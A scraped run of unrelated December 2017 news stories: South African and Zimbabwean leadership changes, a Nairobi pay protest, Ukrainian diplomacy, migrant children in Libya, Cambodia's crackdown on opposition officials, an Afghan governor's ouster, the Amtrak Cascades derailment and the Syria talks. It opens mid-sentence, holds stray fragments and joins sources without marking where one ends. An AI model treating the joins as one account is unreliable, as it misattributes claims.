
But to the opposition, the four were heroes and world leaders including former US democratic presidential candidate Hillary Clinton praised for the historic ruling.

Kasarani half empty for Jamhuri Day celebrations - on TUKO TV

Source: TUKO.co.ke
- Anti-apartheid hero Cyril Ramaphosa is poised to become the new leader of South Africa after he was elected president of the ruling party ANC on Monday, December 18

- Ramaphosa beat president Jacob Zuma's ex-wife Nkosazana Dlamini-Zuma after a tough vote

- Ramaphosa is an ally of Kenyan opposition leader Raila Odinga who has congratulated him for the win

South Africa's deputy president Cyril Ramaphosa is poised to become the country's leader after he was picked by the ruling party ANC to succeed Jacob Zuma.

According to the BBC, Ramaphosa defeated president Zuma's ex-wife Dlamini-Zuma by 2,440 votes to 2,261.

Send 'NEWS' to 40227 to receive all the important breaking news as it happens

Zuma had picked his ex-wife amidst revolt from party members and supporters across the country and her defeat has been seen by many as the beginning to correct the ills committed by the Zuma rule.

South Africa's deputy president Cyril Ramaphosa who was picked to head the country's ruling party ANC. Photo: New York Times

READ ALSO: We are very ready to act should Raila be sworn-in - Govt says

Kenya's opposition leader Raila Odinga who has a close relationship with Ramaphosa, hailed the win saying it would thrill democrats in South Africa and across the African continent.

From this pivotal ANC position, and drawing on South Africas recently diminished but still vibrant global standing, he will restore the high respect that his nation as well as the continent enjoyed under the fabled leadership of Nelson Mandela in particular. ANC is of course Africas best-known and oldest liberation party and movement," Raila said in a statement seen by TUKO.co.ke.

READ ALSO: Kuingia Mombasa rahisi, kutoka matanga-hii ndiyo sababu

The close ties between the two were revealed after the 2007 post-election violence when Ramaphosa had been proposed to mediate the Kenyan stalemate.

And in his congratulatory message, Raila revealed that the two had discussed matters about their respective parties a year ago in which they insisted on having a renewed democracy.

READ ALSO: Miguna Miguna detained amidst plans to swear in Raila Odinga

In a discussion a year ago about running for the leadership of our respective political parties in Kenya and South Africa, we both emphasized the imperative of a renewed African democratization in order to build the continent economically, engender equitable growth and contribute to the global movement for moral and ethical leadership.

Ramaphosa, like Tanzania President John Pombe Maghufuli who is also a close ally of Raila, is set to be the next President of South Africa in the coming general election.

Kasarani half empty for Jamhuri Day celebrations - on TUKO TV

Source: TUKO.co.ke
- Zimbabwe's military chief, Constantino Chiwenga, who spearheaded the removal of Robert Mugabe from power has retired

- A statement issued on Monday, December 18, by the Chief Secretary to the President and Cabinet, Mischeck Sibanda, confirmed Chiwenga's retirement

- According to Sibanda, Chiwenga will subsequently be redeployed to a new powerful position in government. His previous post will be filled by Lieutenant General Philip Valerio Sibanda

- Sources privy to the on-going power plays within President Emmerson Mnangagwa's government have hinted that the now ex-military boss will be appointed Zimbabwe's new vice president

Zimbabwe's military chief, Constantino Chiwenga, who led the bloodless coup that eventually deposed the 93-year-old Robert Mugabe from power has retired.

A statement issued on Monday, December 18, by the Chief Secretary to the President and Cabinet, Mischeck Sibanda, confirmed Chiwenga's retirement and plans to redeploy him.

"Chiwenga to be redeployed after retirement. Lieutenant General Philip Valerio Sibanda has been promoted to a full general. He takes over from Chiwenga as the commander of the Zimbabwe Defence Forces," Sibanda said.

READ ALSO: It's official! Emmerson Mnangagwa sworn in as Zimbabwe's new president

Army Chief Constantino Chiwenga who played instrumental role in the coup that led to removal of Robert Mugabe set to become VC. Photo: AFP

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Though Sibanda did not specifically mention where the now ex-military boss will be redeployed to after retirement, sources privy to the power plays with President Emmerson Mnangagwa's government have strongly hinted that Chiwenga will become Zimbabwe's new vice president.

The appointment of Chiwenga as the vice president is inevitable. It will be a confirmation that the military is a salient factor in the politics of the country, Eldred Masunungure, a Zimbabwe-based political analyst, told Reuters.

READ ALSO: Wild celebrations erupt in Zimbabwe after Mugabe's resignation

Zimbabwe's current president, Emmerson Mnangagwa. Photo: Courtesy.

Many have not forgotten the instrumental role that Chiwenga played in the bloodless military coup that ended Mugabe's 37 year reign.

His appointment to the vice president's position is seen as a reward to the role he played to make sure that Mnangagwa, who was once Mugabe's vice president, becomes the president of Zimbabwe.

READ ALSO: Military leaders threatened to unleash dossier on how Mugabe ordered for massacre of 20,000 people

President Mnangagwa taking the oath of office on Nevember 24, 2017. Photo:NewsAfriq

As previously reported by Tuko.co.ke, the 75-year-old Mnangagwa, nicknamed "The Crocodile" because of his ruthlessness, officially took over on Friday, November 24, following resignation of Mugabe on Tuesday, November 21, 2017.

READ ALSO: It's over! Zimbabwe's President Robert Mugabe finally steps down

Kenyans react to Raila Odinga's swearing-in postponment - On Tuko TV

Source: TUKO.co.ke
- Nairobi Governor Mike Sonko's rescue team has downed its tools in protest over unpaid salaries

- The team claimed it has not been paid for 8 months by the flamboyant city governor

- The workers staged demonstrations outside City Hall offices demanding an audience with the governor

Workers at the Sonko Rescue Team Non-Governmental Organisation on Tuesday, December 19, demonstrated over what they said were unpaid dues accumulated in the last eight months.

The angry workers camped outside Governor Mike Sonko's office at City Hall, City Centre and demanded audience with the governor.

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The Sonko Rescue Team is an NGO registered under and funded by the Nairobi county governor.

Sonko says those demonstrating are imposters Photo: Facebook/Mike Sonko

READ ALSO: Uhuru makes it clear when he'll name new cabinet

The workers, mostly youths, were close to 120.

They claimed despite offering services, they have not received their dues in the last eight months.

TUKO.co.ke has also learnt the youths are now dumping garbage in some parts of the city as a way of protesting the move.

Some members of SRT are demanding pay Photo: Facebook/Mike Sonko

READ ALSO: Kuingia Mombasa rahisi, kutoka matanga-hii ndiyo sababu

Already, Nairobi West MCA Maurice Gari has protested a move by the SRT members to dump garbage in Nairobi West which falls under his jurisdiction.

Gori has threatened to lead the youths in demonstrations to the governor's office if he (Sonko) does not act fast.

However, Sonko has dismissed the youths saying they were imposters as they are not registered with the NGO.

"Team Green currently at Nairobi West garbage collection pamoja na clean up.....Wenye wivu waendelee na propaganda zao," Sonko said as he shared photos of his team collecting garbage.

He shared photos of other youths apparently collecting garbage in Nairobi West area.

Kasarani half empty for Jamhuri Day celebrations on TUKO TV

Source: TUKO.co.ke
President Petro Poroshenko in Lisbon met with the Ukrainian community in Portugal, the presidents press service reported on Monday evening.

The Portuguese President, Prime Minister, Government honor the Ukrainian community, Petro Poroshenko said, noting that he heard only good words about the Ukrainian community from the abovementioned persons.

Poroshenko stressed that Portugal had never so decisively supported Ukrainian sovereignty, territorial integrity and independence before.

He noted that Portugal was one of the initiators of sanctions against Russia for the annexation of Crimea, aggression in eastern Ukraine and the non-implementation of the Minsk agreements. "Just like throughout Europe, this has become possible due to your position. And this is another thing for which I would like to thank you," Poroshenko emphasized.

The President also shared his impressions from the joint prayer of the entire Ukrainian delegation for peace in the Fatima Pilgrimage Center.
The Ukrainian delegation will appeal to the NATO Parliamentary Assembly (NATO PA) regarding participation of Serbian mercenaries on the side of Russian-backed militants in the war in Donbas.

Chairman of Ukraine's Permanent Delegation to the NATO PA, MP Iryna Friz reported this on her Facebook page.

"We are preparing an appeal on this issue from our delegation to the NATO Parliamentary Assembly. I am sure that we have to appeal to all international institutions to inform them about the shameful fact of participation of the Serbian mercenaries on the side of the puppets of the Kremlin against our state," she wrote.

Friz is sure that the actions of mercenaries will be condemned by the international community. And the Serbian authorities will add supporters of the so-called Russian idea to 45 cases opened against Serbian mercenaries fighting abroad, she noted.

As reported, the intelligence service of the ATO Headquarters informed that a group of Serbian mercenary snipers had come to Donetsk to fight on the side of Russian-backed troops against the Armed Forces of Ukraine.

ish
Ukraine has opened its Honorary Consulate in Sicily, Italy.

The newly formed diplomatic institution was headed by a lawyer, a prosecutor of the Italian Republic and a great friend of Ukraine, Domenico Platanias, who always contributed to the development of bilateral relations between Sicily and Ukraine.

During the inauguration of the Honorary Consulate of Ukraine in Sicily, a large number of the regional and local authorities, military officers, representatives of clergy and business, and the Ukrainian community gathered, indicating significant prospects for economic, cultural and humanitarian ties between Ukraine and Sicily.

ish
NATO's aspiration for partnership with Ukraine remains unchanged, and the alliance will never recognize illegal annexation of Crimea, Head of the NATO Representation and Director of the NATO Liaison Office in Ukraine Alexander Vinnikov has said.

He stated this at a round table discussion entitled "Ukraine-NATO. A Year of Rapprochement and Integration. Plans, Expectations, and Results of Interaction" at Ukrinform on Monday.

Vinnikov said that NATO's aspirations for partnership with Ukraine remained unchanged regarding political support for Ukraine's sovereignty and territorial integrity. He also added that illegal annexation of Crimea is not recognized and will never be recognized and that NATO's position on what is happening in the east of Ukraine remains very clear.

He said that next year would be very loaded in terms of cooperation between Ukraine and NATO.

According to Vinnikov, there will be a lot of challenges, but, in his opinion, the political dialogue will continue at the highest level.

op
The Zaporizhzhia Regional State Administration and the Oriental Region of the Kingdom of Morocco signed an agreement on cooperation. One of the tasks is to open the centers for study of the Ukrainian language in Morocco.

The press services of the Zaporizhzhia Regional State Administration reported this after the signing ceremony.

"In the Kingdom of Morocco, we plan to open the training centers for study of the Ukrainian language. Language is the first step towards bringing two cultures of our countries closer, the first vice president of the Oriental Region said," the statement reads.

According to the report, the document signed today is the first agreement between the Zaporizhzhia Regional State Administration and the Council of the Oriental Region of the Kingdom of Morocco on trade and economic, scientific and technical and cultural cooperation.

ish
TUNIS, 18 December 2017 - 36,000 migrant children are in need of assistance in Libya, figures revealed today on International Migrants Day show. Out of an estimated 400,000 migrants, nine per cent are children and, shockingly, more than 14,000 children are also unaccompanied.

This year nearly 15,000 unaccompanied children have reached Italy by sea travelling across the perilous Central Mediterranean route from Libya, their journeys typically facilitated by smugglers and traffickers. UNICEF estimates that more than 400 children have died trying to make this trip since the start of the year, while many more have suffered abuse, exploitation, enslavement and detention.

UNICEF and IOM have joined forces in the action plan to increase support to migrant children in Libya, focusing on child protection, education, water, sanitation and health; this collaboration will ensure that child rights are put at the heart of all assistance in Libya.

Othman Belbeisi, IOM Libya Chief of Mission said, The aim is that throughout this closer collaboration we will be able to reach and protect more children on the move. Children are among the most vulnerable and many are in need of protection and support.

In 2018, IOM aims to assist 30,000 migrants in voluntary returns to their country of origin, among them many migrant children. The two UN agencies will make sure that the childs best interests are prioritised pre-departure, throughout the journey and that follow-up assistance is provided when they arrive back home.

Migrant children are some of the most vulnerable people in Libya and todays agreement with IOM is essential in our work to reach them and uphold their rights. We will be able to collectively work to ensure that all children, no matter their status, are able to gain an education, be protected and receive the basic services they deserve, said Abdel-Rahman Ghandour, UNICEF Special Representative in Libya.

UNICEF in coordination with IOM worked together to facilitate national vaccination campaigns to reach all vulnerable children including migrant and refugees. In addition, within the framework of this collaboration, the two UN agencies will scale up their efforts to provide psychosocial support for migrant children, family tracing and reunification services for unaccompanied and separated children and access to basic services in line with the global agreement signed between the two organisations in 2006.

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Notes to editors:

- Statistics of the number of child migrants are taken from IOM Libyas recent DTM Round 15 Update

UNICEF has been asking governments and partners to embrace six essential policies outlined in the UNICEF Agenda for Action for Children Uprooted:


Its a beautiful day in this rural hamlet, bright and breezy, alive with the prosperous thrum of the annual rice harvest. But its hard to escape the feeling that were being watchedbecause we are.

A police officer stands posted near the entrance to the home of a provincial opposition party official, eyeing Voice of America journalists as they enter. The interview is abandoned for the time being. Six hours later, a different officer has taken his placestill watching.

At the home of another opposition member, shortly after journalists arrive, a portly official with the ruling Cambodian Peoples Party (CPP) pulls up and interrupts, wearing a cowboy hat and a scowl. The interviewee had been explaining that he was nervous because he thought he was being watched.

Later, the same local official accuses VOA reporters of practicing journalism without a letter of permission, and reports their presence to his party boss, complaining that they had been interrogating people.

This is just a small taste of the surveillance that opposition party members at the lowest levels have been under since the government-engineered dissolution of the Cambodia National Rescue Party (CNRP) on November 16, rendering Cambodia a de facto one-party state.

But for them, the watching is just the beginning.

In interviews with VOA, often hasty and fearful, more than two dozen former members of the opposition described being barraged with threatening phone calls, served with court summonses, and paid repeated visits by police.

The initial goal of this harassment was to induce them to defect to the CPP and renounce their former allegiance. This was a key plank of a campaign Prime Minister Hun Sen announced on October 22, two weeks after his government filed a motion to completely dissolve the CNRP and render it effectively illegal, on the grounds that it had attempted to topple the government.

The premier dubbed it the win-win policy, a reference to his 1990s push to eliminate the Khmer Rouge by promising its fighters that they could keep their positions and the resources they had accumulated only if they defected to the CPP.

International media coverage of this years political crackdown has focused on its effects on the partys top leaders. Village and commune officials, however, many of whom do not speak English and have few resources and connections to draw on, bore the brunt of the pressure to defectpressure that often deployed the full force of the countrys police, administrative structure and judicial system.

According to interviewees, threats against them increased over the course of November, as the prime ministers defection campaign initially found few takers. Those who could afford to flee Cambodia did. The deadline for defection was extended several times.

Finally, in a climactic address to ruling party officials in late November, Mr. Hun Sen ordered his loyalists to obtain defections by any means.

So do this work as soon as possible, and try to do it day and night, mobilizing any forces [necessary] to make this work successful, he said in the speech, which was later leaked online.

Break the legs of the CNRP at the local level.

Although the government-imposed deadline for defection has now passed, the surveillance has continued, according to intervieweesthis time apparently designed to ensure that the party cannot reconstitute its local networks, and members cannot easily support each other.

Oum Sam Oeun, a district official in Takeo who resisted defection, said that whenever more than three opposition supporters went to a coffee shop, the CPP-aligned village chief immediately showed up.

Quoting a Khmer proverb about the futility of opposing the powerful, the village chief told him, You are a chicken egg. You cannot go up against a stone.

Broken Legs

The most vulnerable targetscommune councilors, reserve candidates, and grassroots organizersalmost invariably have the fewest options.

Unlike their CPP counterparts, who have spent years enmeshed in a party apparatus that offered ample rewards to the loyal, CNRP officials often have few resources other than small farms, few social ties outside of their immediate communities. They have nowhere to run to.

Meng Sopheary, the CNRPs head of electoral affairs, tried to collect information about the intimidation of local party officials, but she told VOA she had stopped after the dissolution of the party on November 16 because too many members had fled, or were afraid to keep communicating with her.

However, it is clear that the harassment has been pervasive and widespread.

In Kampong Chhnang province, all of the 42 councilors who ultimately defected to the CPP were under surveillance by police, who would show up outside their homes and watch them, according to provincial party chief Keo Thai. Three commune councilors fled the country, while the rest hid at relatives houses.

One person, the chief of Chronouk commune, was hit with a lawsuit after signing an official document on November 17, the day after the CNRP was officially dissolved. He agreed to defect so the case would be dropped, according to Keo Thai.

In Battambang, three commune councilors were summoned by police to discuss a personal matter, while another one was served with papers accusing him of murder, according to provincial chief Chea Chiv, who said that all them ultimately defected.

In another case, the deputy chief of Prekloung commune was accused of a crime for displaying a CNRP banner after the formal dissolution of the party, but was told that the charges would be dropped if he defected, Chea Chiv said. He did.

In Preah Sihanouk province, commune councilors were subject to visits from police and local administrators and and threats of prosecution or jail time if they did not defect, according to Sisowath Thomico, a member of the CNRP steering committee who spoke to VOA shortly returning from a trip to assess the situation there in late November.

Anybody with a weak pointwhether it was an open court case, a relative in trouble with the law, or a personal vicewas most vulnerable to being pressured into defecting, he said. The dozen people who ultimately defected felt that they had no choice.

It was a way to protect themselves, to get away from being imprisoned or killed, he said. As far as the other people are concerned, those who have no weaknesses whatsoever, they just fled away, to see their family [in other areas] and to keep their family from pressure.

In one case, a deputy commune chief in Battambang was summoned to court over a three-year-old family land dispute he had believed was resolved. Horn Chhoy, 65, says he was told that if he defected, the case would be dropped. Instead, he chose to flee.

I know they dont have good intentions, he told VOA by telephone from a location he declined to disclosed.

Now white becomes black and black becomes white.

The Egg and the Stone

Keo Eat is a chicken egg. He is poor and has always been poor. He spent his childhood under the Khmer Rouge regime and his teenage years in a border refugee camp. From there, he was tapped as a foot soldier in the civil war of the 1980s. The only reward he took from his two decades of fighting were the magical tattoos that still cover his stomach and back, intended to protect him from harm.

As peace took hold in the 1990s, he demobilized and managed to obtain a tiny plot of land, where he and his wife eked out a living farming rice. They had almost no money, but the couple found meaning in the grassroots organizing they plunged into on behalf of the fledgling Sam Rainsy Party, which had begun challenging Hun Sens government on an anti-corruption platform.

As the years went by, that party merged into the bigger Cambodia National Rescue Party, which began to pose a serious electoral threat to Hun Sen, gaining nearly 50 percent of the countrys vote in the 2013 national elections. In Takeo, Keo Eat was drafted as a candidate for local office. The 52-year-old says he was approached by the ruling party with job offers several times, but always refused.

His years of hard work seemed to be paying off after nationwide local elections in June this year, which saw an unprecedented influx of opposition party members into positions in commune councils across the country. Keo Eat became a deputy commune chief.

Then the drive to dissolve the CNRP began. At least four times in October and November, Keo Eat says he was visited in the dark of night by delegations of provincial police and soldiers, who surrounded his house and photographed it from multiple angles. Terrified, he and his wife huddled upstairs with their sick baby granddaughter.

Local police forced the family to take down the CNRP banners they had displayed after the party was dissolved on November 16. They mostly complied, but Keo Eat defiantly turned one of them inward instead of taking it down.

The head of Prey Khla commune came to him and asked him once again to defect.

Still, I did not, Keo Eat recalled with mournful pride.

On November 23, the ruling party delivered its final blow: local police delivered Keo Eat a summons ordering him to appear in court on charges of incitement, which carries a penalty of two years in prison.

The charges stemmed from an incident during the local election campaign in May, when a CPP and a CNRP parade ran into each other and Keo Eat allegedly called the ruling party stupid. A CPP commune councilor promptly sued him and five other opposition officials, seeking $5,000 in compensation from each of them. But after they appeared in court, they thought the case had been dropped.

After receiving their court summonses, Keo Eat and his co-accused frantically consulted with their families and party higher-ups.

You get jail for five years or salary for five yearswhich one is better? Keo Eat asked his district party boss, Chan Leap, as they wrestled with the decision.

In addition to his fear of being jailed, he had no obvious source of income other than his $170 monthly salary from being a commune official. He said he might have to become a migrant construction worker, or a laborer in some richer mans rice field.

When the officials were first sued in May, the CNRP had provided them with crucial moral and legal support, finding them a lawyer and even paying for the gasoline they needed to ride their motorbikes to the provincial capital.

Now there was no more party to help them. Even being seen meeting with other ex-CNRP members could get them in trouble.

I couldn't solve this problem for them, said Chan Leap. I didnt know how to find a lawyer. So I prepared them to defect. Provincial CNRP officials suggested that three highest-ranking men join the CPP, and work within the system to keep the others out of jail.

Still, in an interview with VOA on November 25, Keo Eat said he was still agonizing over what to do.

I dont know what to decide, he said.

If I dont defect, it will be hard to solve. And nobody can help me now.

On November 26, in the last few hours before the final deadline, Keo Eat agreed to join the CPP.

I decided to defect, just to stay alive, he said.

It Is Normal That Traitors Must Be Watched.

The day after he defected, Keo Eat sat with his wife and granddaughter underneath his stilted house, bewildered and shirtless, his protective tattoos on full display.

He said he wanted to speak honestly about his situation, but was terrified of getting himself into trouble.

I think they knew there was no pressure that could force me to defect except for the court, he began.

Then a large man pulled up on a motorbike. Keo Eat and his wife fell silent. The visitor was Pheung Phan, the acting CPP chief of Prey Khla commune.

Tomorrow we will go to take the oath of loyalty, he told Keo Eat. You can write it out and then I will watch you swear.

After the official drove away, Keo Eat said he no longer wanted to discuss his political views or the circumstances of his defection.

His wife, however, asked if she could be interviewed. Fast-talking and sharp-minded, Keo Sarin has been a passionate CNRP supporter for as long as her husband.

Im just a citizen and I have the right to speak, she said fiercely, urging a reporter to switch on a voice recorder.

But after launching into a torrent of speech describing her feelings about the government, she glanced at her husband again and stopped talking. Her face contorted. She asked to retract her statements, for the sake of her familys safety.

Now my husband is a CPP official, she said.

A short drive down the road from Keo Eats house, Pheung Phan sat alone behind his desk in the Prey Khla commune office.

He demanded to know if journalists had obtained a letter of permission to be in Prey Khla. Then he placed a phone call to his boss, the party chief for the district.

VOA has come to interrogate me, he said, using a term widely used by the Khmer Rouge to refer to their torture sessions.

He hung up the phone and said he had been told not to answer any questions.

He said, No VOA coming around here, Pheung Phan said.

Contacted later for comment, Takeo Provincial Court spokesman Lim Sokhan, a CPP appointee, said summoning Keo Eat and his colleagues at the height of the defection campaign was simply procedure, and was not intended to pressure them.

However, Sun Thorn, the deputy police chief of Takeo province, readily confirmed that ex-CNRP officials were all under surveillance.

He said this was justified because they were traitors for supporting the political opposition.

It is normal that traitors must be watched, he said.

We just only follow what Samdech Techo says, he added, using the prime ministers formal title.

I agree with Samdech Techo. Thats it. Village and commune authorities also follow Samdech Techo because the villages and communes belong to Samdech Techo.

The Reluctant Fundamentalists

Although Prime Minister Hun Sen appears to have gotten his way for the moment, questions remain about the long-term viability of creating what is effectively a single-party state.

How loyal will the ruling partys reluctant new foot soldiers be? Without a free and fair electoral process, what will serve as a release valve for the nearly 50 percent of Cambodians who voted for the CNRP in the June elections?

The premiers first win-win policy was so successful that Mr. Hun Sen often touts it as his biggest accomplishment. He is in the process of building a lavish Win-Win Monument in Phnom Penh, commemorating himself.

But the Khmer Rouge defectors of the 1990s were leaving behind what had become a desperate scramble for existence, fighting for their lives in deteriorating, malaria-ridden jungle strongholds.

Todays opposition supporters had been enjoying a constitutionally guaranteed right to express themselves politically, against a background of increasing prosperity. It is a right Cambodians have increasingly taken for granted in a country that has not known war in a generation.

It is not clear whether these defections will be true defection with minds, ideas, and hearts 100 percent, said political commentator Meas Nee. Due to pressure, some defected just for safety, but their hearts and minds dont change.

Jonathan Sutton, a doctoral researcher at the University of Otago who studies Cambodian politics, said it was unlikely the 2,603 new defectors would be given positions of trust or power within the CPP.

Theyll be sort of in betweenit really is a case of being between a rock and a hard place, he said.

Still, the defection campaign likely helped calm Hun Sens fears of future pro-democracy protests by demolishing the CNRPs local networks and publicly humiliating its officials within their communities, Sutton said.

That is certainly the case in Takeo, where a senior provincial party official said the CNRPs structure had been completely destroyed since October.

The official said he had refused multiple attempts to get him to defect, including harassment from police and offers of a lucrative advisory position to the government. Unlike the defectors, he had no obvious weaknesses and practiced a profession that provided a steady source of income.

Still, despite his relatively privileged position, he was afraid to give his name or discuss politics in public. Even being interviewed at his home did not feel entirely safe to him. He suggested that perhaps journalists could try visiting him in disguise.

Eventually, the official agreed to speakin a hut surrounded by grass 20 meters behind his house.

He said that despite having tried his best to maintain my dignity, he felt utterly defeated.

I spent all of my time, my efforts, my money, to support the party, he said.

Now I have nothing. I feel nothing.

He said goodbye, and journalists picked their way back the scraggly underbrush to the street.

A police officer was still there, watching.
Commerce Minister Pan Sorasak has written to Prime Minister Hun Sen advising the premier to lobby the European Union to avoid further sanctions over his governments crackdown on political opposition to his rule.

A ruling Cambodian Peoples Party spokesman on Monday confirmed the letter was authentic, but two government spokesman said they could neither confirm nor deny whether Sorasak had written the letter.

The European Union suspended its election funding for the 2018 general election following the banning of Cambodias main opposition party, the Cambodia National Rescue Party, in November. The United States has also stopped its election funding and also imposed visa restrictions on several Cambodian officials.

The CNRP leader, Kem Sokha, was jailed in September and is awaiting trial on treason charges. More than 100 CNRP officials have also been banned from politics for five years.

The E.U. is currently reviewing Cambodias eligibility for a preferential trade scheme called Everything But Arms.

In the letter, dated December 4 and circulated online on Monday, Sorasak highlighted Cambodias dependence on the European and United States export markets.

Hun Sen has publicly dismissed the importance of possible trade sanctions imposed by the U.S. and E.U.

If the E.U. requires Cambodia to pay its importing tax, the required payment would be up to $676 million annually, the letter reads.

To obstruct the decision to lift the tax concession from happening, Cambodia should lobby friendly countries who are members of the European Union through diplomatic and trade channels due to the fact that the European Union is mostly soft and understanding to Cambodias situation.

Sok Eysan, CPP spokesman, said he thought the letter was mostly real ... I think its true.

The United States has said it is optimistic that there could be a reversal of the Cambodian governments position, but there appears to be no sign from Phnom Penh that it is considering changing course.

On Sunday, Hun Sen in a speech dared foreign governments to impose further sanctions.

Bradley Jensen Murg, a political scientist at Seattle Pacific University, said: I highly doubt that any sort of lobbying directed towards EU member states will be in any way effective in terms of shifting the development of sanctions. At the end of the day, the EU is in a time of flux, and as a relatively small country - Cambodia does not have much to bargain with.

At the end of the day, no one is going to stick their neck out for a country which has received a regular and constant barrage of negative media attention in light of the repression of the political opposition, he added.
One of Afghanistan's most powerful regional politicians was ousted as governor of the northern province of Balkh on Monday, setting up a confrontation that adds to the uncertainty around President Ashraf Ghani's Western-backed government.

Atta Mohammad Noor is one of the leading figures in Jamiat-e-Islami, a party which mainly represents Afghanistan's Tajik ethnic group, and has used his position in Balkh, on the northern border of the country, as a powerbase to push for a major role on the national stage.

His removal, at a time when tensions between Tajiks and Pashtuns, Afghanistan's two biggest ethnic groups, have been rising, injects extra uncertainty to the already fractured political landscape ahead of presidential elections in 2019.

"My dismissal has no legal or legitimate basis," Noor said on Afghan national television. "For now we are only resorting to civil action but if this atrocity continues, there are many other options."

Atta Noor is one of a clutch of powerful regional and ethnic leaders whom Ghani has struggled to control since he came to office after the disputed election of 2014. Ghani, a Pashtun, has tried previously to remove him but also discussed a possible role in the government for him.

He submitted his resignation several months ago but the move never took effect until Ghani approved it on Monday, announcing at the same time that Mohammad Daoud, also from Jamiat, would become the next governor of Balkh province.

"The Afghan president has accepted Atta Mohammad Noor's resignation and announced Engineer Mohammad Daoud as the new governor," Shah Hussain Murtazawi a spokesman for Ghani said.

In his remarks on Monday, Atta Noor, who has demanded a number of senior positions in the government for some of his allies, said the resignation had been offered with conditions attached and said these had not been respected.

"Since they didn't meet their responsibilities, I don't accept it," he said.

Ghani's national unity government, formed after the 2014 election forced him into an uneasy power-sharing arrangement with his former rival Abdullah Abdullah from Jamiat, retains the support of the international community and the United States.

But it has faced mounting criticism from a growing array of opposition groups.

Parliamentary elections originally due to be held next year are in doubt and former President Hamid Karzai has called for a loya jirga, or traditional grand council of political leaders and elders to decide the future of the government.

The confrontation with Atta Noor comes several months after a standoff with Vice President Rashid Dostum over accusations of the sexual abuse of a political opponent. Dostum, an ethnic Uzbek leader and veteran of decades of Afghan politics, has been in Turkey since May, ostensibly for medical treatment.
U.S. federal investigators say a train that derailed Monday in the northwestern U.S. state of Washington was traveling at 129 kilometers per hour on a stretch of track where the speed limit was 48 kilometers per hour.

The train went off the tracks on a curve south of Seattle, sending some of its cars onto a busy interstate highway below and killing at least three passengers.

National Transportation Safety Board member Bella Dinh-Zarr told reporters that investigators have examined an event data recorder recovered from one of two locomotives on the train, which was making its first-ever run along a faster new route.

Dinh-Zarr said the NTSB team will really begin its work at the crash site on Tuesday, and that investigators will be interviewing crew members to determine what went wrong and why.

"It's a very complicated accident," she said.

Typically NTSB teams are on-site for seven to 10 days before analyzing the information they gather and issuing a report on the findings.

WATCH: Train accident

In addition to those killed, local officials said more than 100 others were injured.

Washington State Patrol spokeswoman Brooke Bova said five vehicles, plus two semi-trailer trucks, were hit by the derailed train cars. Some motorists were injured but none died, according to authorities.

"Its pretty horrific," Pierce County Sheriff's spokesman Ed Troyer told reporters.

Amtrak said 80 passengers and five crew members were on board the Cascades train 501, part of a newly expanded service between Seattle, Washington, and Portland, Oregon.

Herb Krohn, Washington state legislative director for the former United Transportation Union Sheet Metal Air Rail Transportation union that represents workers there, said the new train route opened after several years of work and cut about 15 minutes off the ride time from Seattle to Portland. He expressed concern for the families of the passengers and crew and said the NTSB will look at "absolutely every factor" during its probe.

"Its a very thorough collaborative process between the federal government and the railroad carriers and railroad labor and they do a really good job at trying to piece these things together and come out with a determination as to the causes as well as possible contributing factors," Krohn said.

He cautioned against jumping to conclusions until there is "credible evidence as to what happened and how we can make sure it doesn't happen again."

The derailment site is about halfway between Olympia, the state capital, and the city of Lakewood.

Lakewood Mayor Don Anderson told VOA his city fought against the new Amtrak line, which moved fast passenger trains onto what had been a less-used freight line. He said it was a costly project that provided little transportation benefit, while also creating a risk to pedestrians and vehicle traffic by mixing roads and train crossings.

"We politically and legally took whatever action we could to either stop it or provide for additional safety modifications," Anderson said.

The mayor called Monday's accident "a tragedy for all concerned."

U.S. President Donald Trump expressed condolences for the victims at the beginning of a speech in Washington Monday.

"Let me begin by expressing our deepest sympathies and most heartfelt prayers for the victims of the train derailment in Washington State. We are closely monitoring the situation and coordinating with local authorities.

"It is all the more reason why we must start immediately fixing the infrastructure of the United States," he added.

Washington state transportation officials said the section of track where the derailment took place had been outfitted with a safety system known as positive train control, which can slow or stop a train. But the system was "not yet operational or certified for use."

Congress mandated that the nation's railroads implement positive train control after a series of accidents. The legislation calls for the safety upgrades to be completed by the end of 2018, after the railroads won a three-year delay from the original 2015 deadline.

In May 2015, an Amtrak train derailed in Philadelphia as it went into a curve at more than double the posted speed limit. Eight people died in that accident, which investigators blamed on the engineer being distracted by radio conversations between trains and dispatchers about trains being hit by rocks.

The site of the Philadelphia derailment was not equipped with positive train control technology, and the NTSB determined the accident could have been prevented if that system or another form of control had been in place to force the train to follow the speed limit.
Syrian President Bashar al-Assad expressed regret for the stalemate of U.N.-brokered intra-Syrian talks in Geneva last week but says he expects better results during the Russian-sponsored Sochi peace process to be held in February.

"Those with whom we are negotiating in Geneva - the Syrian opposition - do not represent the Syrian people. And after three years of negotiations, the Geneva talks did not achieve anything, Assad told reporters in Damascus Monday morning, without ruling out a future role of the United Nations in the Syria peace process.

The intra-Syrian peace talks went through an eighth round in Geneva recently with little apparent progress  prompting discussions this week in New York between U.N. envoy to Syria Staffan de Mistura, U.N. Secretary-General Antonio Guterres, and the U.N. Security Council (UNSC).

De Mistura announced after concluding the talks last Thursday, that it was a golden opportunity missed and that he is disappointed by the ineffective U.N.-backed efforts to end hostilities.

The talks guideline was the 2015 unanimously adopted UNSC resolution 2254. The resolution endorses a peace map for Syria, focuses on setting in motion a new constitutional process, elaborates on governance and counter-terrorism, and the freeing of detainees as a confidence-building measure.

Blame game

De Mistura blamed the Syrian government for the disappointing result of last week's talks despite international efforts and diplomacy that preceded the negotiations in Riyadh that aimed to unify the opposition.

I did not see therefore the government really looking to find a way to have a dialogue and negotiate in this round  I have to say, regrettably. I did see the opposition trying to, he said.

U.S. Department of State spokesperson Heather Nauert deplored the obstructionism and procrastination of the Syrian regime.

Doubts have loomed since the first day of the negotiations as the Syrian governments delegation hesitated to engage, preferring Russian-brokered talks. The Syrian Ministry for Foreign Affairs announced previously that Damascus welcomes the Sochi meeting.

Fate of Assad

Syrian governments chief negotiator Bashar al-Jaafari blamed the oppositions precondition for Assad to step down as the main reason for the failed peace talks.

The role of Assad in Syrias transition has been the main point of contention between the opposing blocs. The Russia-Iran bloc refuses any talks on ousting the Syrian president, while for many years Western and Arab countries have backed the Syrian oppositions demands for him to leave his post if peace talks were to move forward.

The humanitarian ordeal in Syria is getting worse. According to the United Nations, about 400,000 Syrians have been killed since 2011 and more than five million people have fled the country.

But the U.N. sees an opportunity arising from the humanitarian crisis.

This crisis  one of the worst in the history of the U.N.  now has the potential, the real potential to move toward a genuine political process, de Mistura said.
AS China continues to transform disputed territory in the South China Sea into features capable of sustaining air and naval bases, Vietnam is also upgrading areas it occupies.

